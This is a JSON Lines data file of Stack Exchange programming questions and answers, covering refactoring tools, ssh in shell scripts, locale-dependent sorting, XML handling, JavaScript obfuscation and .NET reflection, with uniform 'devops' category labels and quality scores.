{"id": "hf_d50bcd15d50a", "question": "<p>I have a bunch of classes I want to rename.  Some of them have names that are small and that name is reused in other class names, where I don't want that name changed.  Most of this lives in Python code, but we also have some XML code that references class names.</p>\n\n<p>Simple search and replace only gets me so far.  In my case, I want to rename AdminAction to AdminActionPlug and AdminActionLogger to AdminActionLoggerPlug, so the first one's search-and-replace would also hit the second, wrongly.</p>\n\n<p>Does anyone have experience with Python refactoring tools ? Bonus points if they can fix class names in the XML documents too.</p>\n", "question_body": "", "answer": "In the meantime, I've tried it two tools that have some sort of integration with vim.\nThe first is\nRope\n, a python refactoring library that comes with a Vim (and emacs) plug-in.  I tried it for a few renames, and that definitely worked as expected.  It allowed me to preview the refactoring as a diff, which is nice.  It is a bit text-driven, but that's alright for me, just takes longer to learn.\nThe second is\nBicycle Repair Man\nwhich I guess wins points on name.  Also plugs into vim and emacs.  Haven't played much with it yet, but I remember trying it a long time ago.\nHaven't played with both enough yet, or tried more types of refactoring, but I will do some more hacking with them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.361788"}
{"id": "hf_a4db1102f0be", "question": "<p>We have a number of users with Windows Mobile 6 and need to apply minor changes. eg. update a registry setting. One option is push and execute an executable file using our device management software.</p>\n\n<p>I'd like this to be a little more friendly for the admins who are familiar with scripting in VBScript/JScript etc. What are the options for scripting on Windows Mobile devices?</p>\n", "question_body": "", "answer": "I work on windows mobile full time and have never really come across a good Windows Mobile scripting implementation unfortunately.  For some reason MS has never seen the need for it.  For example, even though you can actually get a command console on WM, it does not support running batch files, even though all the commands are still there and it would be relatively easy.  There is definitely not a VBScript engine I've ever heard of nor JScript.  There is\nPythonCE\nbut the WM specific support is minimal and you don't get access to a lot of WM only things.\nAlso, I've done a lot of work with a company called\nSOTI\nwhich has a product called MobiControl that does incorporate a basic scripting engine. Though most of the commands are specific to their system and actually have to be run from a desktop-side management console.\nGiven all of the times I have tried to find a good scripting engine for WM myself you would think I would've just written one ;)\nSo, sorry, but the basic answer is\nno\n, there is not a scripting engine available for VB in the context that you specified.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.398790"}
{"id": "hf_a06b0cefe497", "question": "<p>If I call <code>finalize()</code> on an object from my program code, will the <strong>JVM</strong> still run the method again when the garbage collector processes this object?</p>\n\n<p>This would be an approximate example:</p>\n\n<pre><code>MyObject m = new MyObject();\n\nm.finalize();\n\nm = null;\n\nSystem.gc()\n</code></pre>\n\n<p>Would the explicit call to <code>finalize()</code> make the <strong>JVM</strong>'s garbage collector not to run the <code>finalize()</code> method on object <code>m</code>?</p>\n", "question_body": "", "answer": "The finalize method is never invoked more than once by a JVM for any given object. You shouldn't be relying on finalize anyway because there's no guarantee that it will be invoked. If you're calling finalize because you need to execute clean up code then better to put it into a separate method and make it explicit, e.g:\n```\n```\npublic void cleanUp() {\n  .\n  .\n  .\n}\n\nmyInstance.cleanUp();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.450483"}
{"id": "hf_51086655d38b", "question": "<p>I'm translating my C# code for YouTube video comments into PHP. In order to properly nest comment replies, I need to re-arrange XML nodes. In PHP I'm using DOMDocument and DOMXPath which closely corresponds to C# XmlDocument. I've gotten pretty far in my translation but now I'm stuck on getting the parent node of a DOMElement. A DOMElement does not have a parent_node() property, only a DOMNode provides that property.</p>\n\n<p>After determining that a comment is a reply to a previous comment based in the string \"in-reply-to\" in a link element, I need to get its parent node in order to nest it beneath the comment it is in reply to:</p>\n\n<pre><code>// Get the parent entry node of this link element\n$importnode = $objReplyXML-&gt;importNode($link-&gt;parent_node(), true);\n</code></pre>\n", "question_body": "", "answer": "DOMElement\nis a subclass of\nDOMNode\n, so it does have parent_node property. Just use $domNode->parentNode; to find the parent node.\nIn your example, the parent node of $importnode is null, because it has been imported into the document, and therefore does not have a parent yet. You need to attach it to another element before it has a parent.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.523960"}
{"id": "hf_6f581c6506b1", "question": "<p>Using the same <strong>sort</strong> command with the same input produces different results on different machines.  How do I fix that?</p>\n", "question_body": "", "answer": "This can be the result of locale differences:\n```\n```\n$ echo 'CO2_\nCO_' | env LC_ALL=C sort\nCO2_\nCO_\n\n$ echo 'CO2_\nCO_' | env LC_ALL=en_US sort\nCO_\nCO2_\n```\n```\nSetting the LC_ALL environment variable to the same value should correct the problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.554324"}
{"id": "hf_03cddd4ede1d", "question": "<p>What is the the best JavaScript compressor available? I'm looking for a tool that:</p>\n\n<ul>\n<li>is easy to use</li>\n<li>has a high compression rate</li>\n<li>Produce reliable end results (doesn't mess up the code)</li>\n</ul>\n", "question_body": "", "answer": "YUI Compressor\nis the way to go. It has a great compression rate, is well tested and is in use among many top sites, and, well, personally recommended by me.\nI've used it for my projects without a single JavaScript error or hiccup.  And it has nice documentation.\nI've never used its CSS compression capabilities, but they exist as well.\nCSS compression works just as well.\nNote: Although Dean Edwards's /\npacker\n/ achieves a better compression rate than YUI Compressor, I ran into a few JavaScript errors when using it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.618784"}
{"id": "hf_54ab03f76160", "question": "<p>Hey everyone, I'm using Virtual PC and working with a virtual hard disk (*.vhd) that is only sized at 8.2 GB. I would like to double the size to something like 16-20GB. I see options for compacting the VHD but nothing to expand it. It's set to \"dynamically expand\" but I'm installing some software and it doesn't seem to resize itself to a larger space.</p>\n\n<p>Thanks much.</p>\n", "question_body": "", "answer": "Never worked with Virtual PC but from other virtualization software I know I guess that dynamically expand means that initially the .vhd file will take less space in the HD than the specified and will dynamically grow as you keep installing programs or adding files into the virtual drive UP TO the specified size.\nFor what you want I guess that you will have to modify the specified size in the virtual hard drive from Virtual PC's setup window.\nA bit offtopic but give a go to Virtual Box: www.virtualbox.org", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.654666"}
{"id": "hf_220d3b18702a", "question": "<p>Does anyone have links to documentation or guides on making the decision between REST vs. SOAP? I understand both of these but am looking for some references on the key decision points, eg, security, which may make you lean towards one or the other.</p>\n", "question_body": "", "answer": "Google first hit\nseems pretty comprehensive.\nI think the problem here is there are too many advocates of one or the other, may be better of googling and getting more of a handle of the pro's/con's yourself and making your own decision.\nI know that sounds kinda lame, but ultimately these sort of design decisions fall down to the developer/architect working on it, and\n99% of the time, the problem domain will be the deciding factor\n(or at least it should be), not a guide on the net.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.690581"}
{"id": "hf_02169bbde5e4", "question": "<p>Is it possible to get a breakdown of CPU utilization <strong>by database</strong>?</p>\n\n<p>I'm ideally looking for a Task Manager type interface for SQL server, but instead of looking at the CPU utilization of each PID (like <code>taskmgr</code>) or each SPID (like <code>spwho2k5</code>), I want to view the total CPU utilization of each database. Assume a single SQL instance.</p>\n\n<p>I realize that tools could be written to collect this data and report on it, but I'm wondering if there is any tool that lets me see a live view of which databases are contributing most to the <code>sqlservr.exe</code> CPU load.</p>\n", "question_body": "", "answer": "SQL Server (starting with 2000) will install performance counters (viewable from Performance Monitor or Perfmon).\nOne of the counter categories (from a SQL Server 2005 install is:)\n - SQLServer:Databases\nWith one instance for each database.  The counters available however do not provide a CPU % Utilization counter or something similar, although there are some rate counters, that you could use to get a good estimate of CPU.  Example would be, if you have 2 databases, and the rate measured is 20 transactions/sec on database A and 80 trans/sec on database B --- then you would know that A contributes roughly to 20% of the total CPU, and B contributes to other 80%.\nThere are some flaws here, as that's assuming all the work being done is CPU bound, which of course with databases it's not.  But that would be a start I believe.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.714539"}
{"id": "hf_2ed9aeb73d35", "question": "<p>I've followed the <a href=\"http://incubator.apache.org/couchdb/index.html\" rel=\"noreferrer\">CouchDB</a> project with interest over the last couple of years, and see it is now an Apache Incubator project. Prior to that, the CouchDB web site was full of <em>do not use for production code</em> type disclaimers, so I'd done no more than keep an eye on it. I'd be interested to know your experiences if you've been using CouchDB either for a live project, or a technology pilot. </p>\n", "question_body": "", "answer": "I got to know one of the people (Jan) working on it a while ago (like 6 months) and have been playing with it ever since. I found the community around CouchDB to be both very knowledgable and helpful so that whenever I ran into an issue it was resolved in a matter of minutes or hours at least.\nWe just kicked off a project the other week which basically requires us to store data in the non-relational way and due to CouchDB's document oriented store we selected it as one of the technologies to use. So this is actually the first time that I will run it in production, but I'm still pretty confident about it. :)\nJust an update here (2009-10-25):\nOur first CouchDB install is 20 GB, it hosts 40 million records. It's been running in production since January 2009, and it's been great. Read (\n```\nGET\n```\n) speed is outstanding and we use it as a store for complex data, and then it's just pull.\nOur second couchdb installment has two databases, one is 160,000,000+ documents (210 GB), and growing between 150,000-300,000 documents a day. The other is\nonly\n35,000,000 documents (7 GB). This setup has a lot more reads and writes and initial tests are performing very well.\nView building on the 160,000,000 document database took roughly a week, but since then we upgraded to a larger Amazon EC2 instance and we are also getting ready to update to CouchDB\n```\n0.10.x\n```\n(from\n```\n0.9.1\n```\n) as this release includes a lot of performance improvements in view building.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.762357"}
{"id": "hf_e854131e1705", "question": "<p>Related to my <a href=\"https://stackoverflow.com/questions/28975/anyone-using-couchdb\">CouchDB</a> question.</p>\n\n<p>Can anyone explain MapReduce in terms a numbnuts could understand?</p>\n", "question_body": "", "answer": "Take a bunch of data\nPerform some kind of transformation that converts every datum to another kind of datum\nCombine those new data into yet simpler data\nStep 2 is Map. Step 3 is Reduce.\nFor example,\nGet time between two impulses on a pair of pressure meters on the road\nMap those times into speeds based upon the distance of the meters\nReduce those speeds to an average speed\nThe reason MapReduce is split between Map and Reduce is because different parts can easily be done in parallel. (Especially if Reduce has certain mathematical properties.)\nFor a complex but good description of MapReduce, see:\nGoogle's MapReduce Programming Model -- Revisited (PDF)\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.786464"}
{"id": "hf_b2a026a09948", "question": "<p>Sometimes I need to quickly extract some arbitrary data from XML files to put into a CSV format. What's your best practices for doing this in the Unix terminal? I would love some code examples, so for instance how can I get the following problem solved?</p>\n<p>Example XML input:</p>\n<pre class=\"lang-html prettyprint-override\"><code>&lt;root&gt;\n    &lt;myel name=&quot;Foo&quot; /&gt;\n    &lt;myel name=&quot;Bar&quot; /&gt;\n&lt;/root&gt;\n</code></pre>\n<p>My desired CSV output:</p>\n<pre><code>Foo,\nBar,\n</code></pre>\n", "question_body": "", "answer": "Use a command-line XSLT processor such as\nxsltproc\n,\nsaxon\nor\nxalan\nto parse the XML and generate CSV. Here's\nan example\n, which for your case is the stylesheet:\n```\n```\n<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\n    <xsl:output method=\"text\"/>\n\n    <xsl:template match=\"root\">\n        <xsl:apply-templates select=\"myel\"/>\n    </xsl:template>\n\n    <xsl:template match=\"myel\">\n        <xsl:for-each select=\"@*\">\n            <xsl:value-of select=\".\"/>\n            <xsl:value-of select=\"','\"/>\n        </xsl:for-each>\n        <xsl:text>&#10;</xsl:text>\n    </xsl:template> \n</xsl:stylesheet>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.811708"}
{"id": "hf_75ebdd0b68d8", "question": "<p>I have</p>\n\n<pre><code>class Foo &lt; ActiveRecord::Base\n  named_scope :a, lambda { |a| :conditions =&gt; { :a =&gt; a } }\n  named_scope :b, lambda { |b| :conditions =&gt; { :b =&gt; b } }\nend\n</code></pre>\n\n<p>I'd like</p>\n\n<pre><code>class Foo &lt; ActiveRecord::Base\n  named_scope :ab, lambda { |a,b| :conditions =&gt; { :a =&gt; a, :b =&gt; b } }\nend\n</code></pre>\n\n<p>but I'd prefer to do it in a DRY fashion.  I can get the same effect by using</p>\n\n<pre><code> Foo.a(something).b(something_else)\n</code></pre>\n\n<p>but it's not particularly lovely.</p>\n", "question_body": "", "answer": "Well I'm still new to rails and I'm not sure exactly what you're going for here, but if you're just going for code reuse why not use a regular class method?\n```\n```\ndef self.ab(a, b)\n            a(a).b(b)\n        end\n```\n```\nYou could make that more flexible by taking *args instead of a and b, and then possibly make one or the other optional.  If you're stuck on named_scope, can't you extend it to do much the same thing?\nLet me know if I'm totally off base with what you're wanting to do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.836204"}
{"id": "hf_c7a3e3c7c697", "question": "<p>I have one table \"orders\" with a foreing key \"ProductID\".</p>\n\n<p>I want to show the orders in a grid with the <strong>product name</strong>, without <strong>LazyLoad</strong> for better performance, but I if use <strong>DataLoadOptions</strong> it retrieves <strong>all</strong> Product fields, which seams like a <strong>overkill</strong>.</p>\n\n<p>Is there a way to retrieve <strong>only</strong> the Product name in the first query?\nCan I set some attribute in the DBML?</p>\n\n<p>In this <a href=\"http://visualstudiomagazine.com/listings/list.aspx?id=566\" rel=\"nofollow noreferrer\">table</a> says that \"Foreign-key values\" are \"Visible\" in Linq To SQL, but don't know what this means.</p>\n\n<p><strong>Edit</strong>: Changed the title, because I'm not really sure the there is no solution.<br>\nCan't believe no one has the same problem, it is a very common scenario.</p>\n", "question_body": "", "answer": "If you select only the columns you want in the linq query, and then call .ToList() on the query, it will be immedietly executed, and will only bring back the columns you are interested in. For example if you do this:\n```\n```\nvar q = from p in dataContext.products select p.ProductName;\nvar results = q.ToList();\n```\n```\nYou will get back a list of product names stored in results, and when the query executes on the server it will only bring back the ProductName column.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.874220"}
{"id": "hf_8ec8a3dc1e43", "question": "<p>When I try to use an <strong>ssh</strong> command in a shell script, the command just sits there.  Do you have an example of how to use <strong>ssh</strong> in a shell script?</p>\n", "question_body": "", "answer": "You can use\n```\nexpect\n```\ncommand to populate the username/password info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.924742"}
{"id": "hf_c84d3018dd1e", "question": "<p>I have a repeater that is bound to some data.</p>\n\n<p>I bind to the <strong>ItemDataBound</strong> event, and I am attempting to <strong>programmatically</strong> create a <strong>UserControl</strong>:</p>\n\n<p>In a nutshell:</p>\n\n<pre><code>void rptrTaskList_ItemDataBound(object sender, RepeaterItemEventArgs e)\n{\n    CCTask task = (CCTask)e.Item.DataItem;\n\n    if (task is ExecTask)\n    {\n        ExecTaskControl foo = new ExecTaskControl();\n        e.Item.Controls.Add(foo);\n    }\n}\n</code></pre>\n\n<p>The problem is that while the binding works, the user control is not rendered to the main page.</p>\n", "question_body": "", "answer": "Eh, figured out one way to do it:\n```\n```\nExecTaskControl foo = (ExecTaskControl)LoadControl(\"tasks\\\\ExecTaskControl.ascx\");\n```\n```\nIt seems silly to have a file depedancy like that, but maybe thats how UserControls must be done.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.949553"}
{"id": "hf_279160657123", "question": "<p>What is the difference between a <a href=\"http://msdn.microsoft.com/en-us/library/system.text.regularexpressions.group.aspx\" rel=\"nofollow noreferrer\">Group</a> and a <a href=\"http://msdn.microsoft.com/en-us/library/system.text.regularexpressions.match.aspx\" rel=\"nofollow noreferrer\">Match</a> in .NET's RegEx?</p>\n", "question_body": "", "answer": "A\nMatch\nis an object that indicates a particular regular expression matched (a portion of) the target text. A\nGroup\nindicates a portion of a match, if the original regular expression contained group markers (basically a pattern in parentheses). For example, with the following code:\n```\n```\nstring text = \"One car red car blue car\";\nstring pat = @\"(\\w+)\\s+(car)\";\nMatch m = r.Match(text);\n```\n```\n```\nm\n```\nwould be match object that contains two groups - group 1, from\n```\n(\\w+)\n```\n, and that captured \"One\", and group 2 (from\n```\n(car)\n```\n) that matched, well, \"car\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.974707"}
{"id": "hf_c3952eee1c0a", "question": "<p>Can anyone suggest a good implementation of a generic collection class that implements the <code>IBindingListView</code> &amp; <code>IBindingList</code> interfaces and provides Filtering and Searching capabilities?</p>\n\n<p>I see my current options as:<br /></p>\n\n<ul>\n<li>Using a class that someone else has written and tested</li>\n<li>Inheriting from <code>BindingList&lt;T&gt;</code>, and implementing the <code>IBindingListView</code> interfaces</li>\n<li>Write a custom collection from scratch, implementing <code>IBindingListView</code> and <code>IBindingList</code>.</li>\n</ul>\n\n<p>Obviously, the first option is my preferred choice.</p>\n", "question_body": "", "answer": "A couple of solutions I can think of:\nThe\nSubSonic Project\nhas a pretty nice implementation of\n```\nBindlingList<T>\n```\nwhich is open source. Although this might require using the entire SubSonic binary to use their implementation.\nI enjoy using the classes from the\nPower Collections\nproject. It is fairly simple to inherit from one of the base collections there and implement\n```\nIBindingListView\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.038737"}
{"id": "hf_876d0809b73e", "question": "<p>This is a follow-on question to the <a href=\"https://stackoverflow.com/questions/29061/how-do-you-use-ssh-in-a-shell-script\">How do you use ssh in a shell script?</a> question.  If I want to execute a command on the remote machine that runs in the background on that machine, how do I get the ssh command to return?  When I try to just include the ampersand (&amp;) at the end of the command it just hangs.  The exact form of the command looks like this:</p>\n<pre><code>ssh user@target &quot;cd /some/directory; program-to-execute &amp;&quot;\n</code></pre>\n<p>Any ideas?  One thing to note is that logins to the target machine always produce a text banner and I have <strong>SSH</strong> keys set up so no password is required.</p>\n", "question_body": "", "answer": "I had this problem in a program I wrote a year ago -- turns out the answer is rather complicated. You'll need to use nohup as well as output redirection, as explained in the wikipedia artcle on\nnohup\n, copied here for your convenience.\nNohuping backgrounded jobs is for\n  example useful when logged in via SSH,\n  since backgrounded jobs can cause the\n  shell to hang on logout due to a race\n  condition [2]. This problem can also\n  be overcome by redirecting all three\n  I/O streams:\n```\n```\nnohup myprogram > foo.out 2> foo.err < /dev/null &\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.076807"}
{"id": "hf_ed5626cb5e4c", "question": "<p>I've always used Subversion or CVS for version control, which use a 'merge' methodology.  One of my friends raves about Perforce and how great it is with its change lists and check-out methodology.</p>\n\n<p>While I'm sure a lot of it comes down to experience &amp; personal preference, I was wondering if any research had been done into which method of version control is more efficient to work in? </p>\n\n<p><strong>EDIT:</strong> To clarify, I know both Perforce &amp; SVN allow locking &amp; merging, but SVN 'encourages' a liberal edit &amp; merge method, whereas as I understand it, Perforce encourages a checkout-checkin method.</p>\n", "question_body": "", "answer": "Merge is more efficient. For the simple reason that changes to the same file simultaneously tends to be common, and merge allows you to recover from that. In contrast, single checkout prevents that little bit of extra work but it does so at the cost of huge inefficiencies in scheduling. Typically it takes a short amount of time to merge two changes to the same file (e.g. minutes), whereas it takes a significant amount of time to make changes to a file (e.g. many hours or days) so that preventing access to editing a file is a huge inefficiency.\nNote that Perforce does not force the checkout methodology, it allows concurrent checkouts (equivalent to merge).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.101840"}
{"id": "hf_413d49ef4feb", "question": "<p>What are the differences between delegates and an events? Don't both hold references to functions that can be executed?</p>\n", "question_body": "", "answer": "An\nEvent\ndeclaration adds a layer of abstraction and protection on the\ndelegate\ninstance.  This protection prevents clients of the delegate from resetting the delegate and its invocation list and only allows adding or removing targets from the invocation list.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.142165"}
{"id": "hf_1e3e5cb1ef46", "question": "<p>Here is my sample code:</p>\n\n<pre><code>from xml.dom.minidom import *\ndef make_xml():\n    doc = Document()\n    node = doc.createElement('foo')\n    node.innerText = 'bar'\n    doc.appendChild(node)\n    return doc\nif __name__ == '__main__':\n    make_xml().writexml(sys.stdout)\n</code></pre>\n\n<p>when I run the above code I get this:</p>\n\n<pre><code>&lt;?xml version=\"1.0\" ?&gt;\n&lt;foo/&gt;\n</code></pre>\n\n<p>I would like to get:</p>\n\n<pre><code>&lt;?xml version=\"1.0\" ?&gt;\n&lt;foo&gt;bar&lt;/foo&gt;\n</code></pre>\n\n<p>I just guessed that there was an innerText property, it gives no compiler error, but does not seem to work... how do I go about creating a text node?</p>\n", "question_body": "", "answer": "Setting an attribute on an object won't give a compile-time or a run-time error, it will just do nothing useful if the object doesn't access it (i.e. \"\n```\nnode.noSuchAttr = 'bar'\n```\n\" would also not give an error).\nUnless you need a specific feature of\n```\nminidom\n```\n, I would look at\n```\nElementTree\n```\n:\n```\n```\nimport sys\nfrom xml.etree.cElementTree import Element, ElementTree\n\ndef make_xml():\n    node = Element('foo')\n    node.text = 'bar'\n    doc = ElementTree(node)\n    return doc\n\nif __name__ == '__main__':\n    make_xml().write(sys.stdout)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.233199"}
{"id": "hf_f36e155b9c3a", "question": "<p>What is the most straightforward way to create a hash table (or associative array...) in Java?  My google-fu has turned up a couple examples, but is there a standard way to do this?</p>\n\n<p>And is there a way to populate the table with a list of key->value pairs without individually calling an add method on the object for each pair?</p>\n", "question_body": "", "answer": "```\n```\nimport java.util.HashMap;\n\nMap map = new HashMap();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.333707"}
{"id": "hf_cc485fccf1a5", "question": "<p>I have a project to build a voting desktop application for a class in Java. While security isn't the focus of the project, I would like to be as realistic as I can. What are some of the primary tools to integrate security into a Java application.</p>\n\n<p>Edit: I'm not primarily worried about physical security, we are simply building an application not a whole system. I want to ensure votes are recorded correctly and not able to be changed or read by someone else.</p>\n", "question_body": "", "answer": "It really depends on what kind of security you are looking to integrate.  Do you want security to ensure that the user isn't running any debuggers or such to flip bits in your application to change the votes?  Do you want to ensure that the user doesn't install logging software to keep track of who voted for who?  Do you want to ensure that the person who is supposed to be voting is actually voting?  Security is a very broad subject, and it's hard to give an answer without knowing what exactly you are looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.381929"}
{"id": "hf_98b592930177", "question": "<p>I'm working on building a development tool that is written in JavaScript.</p>\n\n<p>This will not be an open source project and will be sold (hopefully) as a commercial product.</p>\n\n<p>I'm looking for the best way to protect my investment. Is using an obfuscator (code mangler) enough to reasonably secure the code?</p>\n\n<p>Are there other alternatives that I am not aware of?</p>\n\n<p>(I'm not sure if obfuscator is the right word, it's one of the apps that takes your code and makes it very unreadable.)</p>\n", "question_body": "", "answer": "That's probably about the best you can do.  Just be aware that anybody with enough dedication, can probably de-obfuscate your program.   Just make sure you're comfortable with that before embarking on your project.  I think the biggest problem with this would be to control who's using it on their site.    If somebody goes to a site with your code on it, and likes what it does, it doesn't matter that they don't understand what the code does, or can't read it, when they can just copy the code, and use it on their own site.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.441212"}
{"id": "hf_28ce2b85cc73", "question": "<p>I'm looking for a good GUI designer for swing in eclipse. My preference is for a free/open-source plugin.</p>\n", "question_body": "", "answer": "'Jigloo' is a very cool GUI designer.  It is not free for commercial use however.\nIt auto-generates code and allows for custom editing of the code it creates.\nhttp://www.cloudgarden.com/jigloo/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.489449"}
{"id": "hf_91c0097f1587", "question": "<p>I'm using the .NET CF 3.5. The type I want to create does not have a default constructor so I want to pass a string to an overloaded constructor. How do I do this?</p>\n\n<p>Code:</p>\n\n<pre><code>Assembly a = Assembly.LoadFrom(\"my.dll\");\nType t = a.GetType(\"type info here\");\n// All ok so far, assembly loads and I can get my type\n\nstring s = \"Pass me to the constructor of Type t\";\nMyObj o = Activator.CreateInstance(t); // throws MissMethodException\n</code></pre>\n", "question_body": "", "answer": "See if this works for you (untested):\n```\n```\nType t = a.GetType(\"type info here\");\nvar ctors = t.GetConstructors();\nstring s = \"Pass me to the ctor of t\";\nMyObj o = ctors[0].Invoke(new[] { s }) as MyObj;\n```\n```\nIf the type has more than one constructor then you may have to do some fancy footwork to find the one that accepts your string parameter.\nEdit: Just tested the code, and it works.\nEdit2:\nChris' answer\nshows the fancy footwork I was talking about! ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.513303"}
